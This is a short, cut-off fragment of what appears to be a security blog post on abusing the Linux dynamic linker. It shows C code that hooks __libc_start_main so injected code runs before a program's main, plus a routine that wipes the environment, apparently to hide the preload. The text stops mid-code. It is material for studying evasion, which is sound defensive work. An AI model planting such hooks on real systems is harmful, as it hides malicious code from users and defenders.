None
EN
Hiding in plain sight - Abusing the dynamic linker
[]
haxrob
int premain(int argc, char **argv, char **envp) { ... } int __libc_start_main(int (*main)(int, char **, char **), .. ) { typeof(&__libc_start_main) orig = dlsym(RTLD_NEXT, "__libc_start_main"); return orig(premain, argc, argv, init, ...); } #define _GNU_SOURCE #include <stdio.h> #include <unistd.h> #include <dlfcn.h> #include <string.h> extern char **environ; void clearenv2() { int len = 0; char **env = environ; while(*env) len += strlen(*env++)+1; bzero(*environ,len); } int hook(int argc,char**argv, char**envp) { printf("in hook().. sleeping...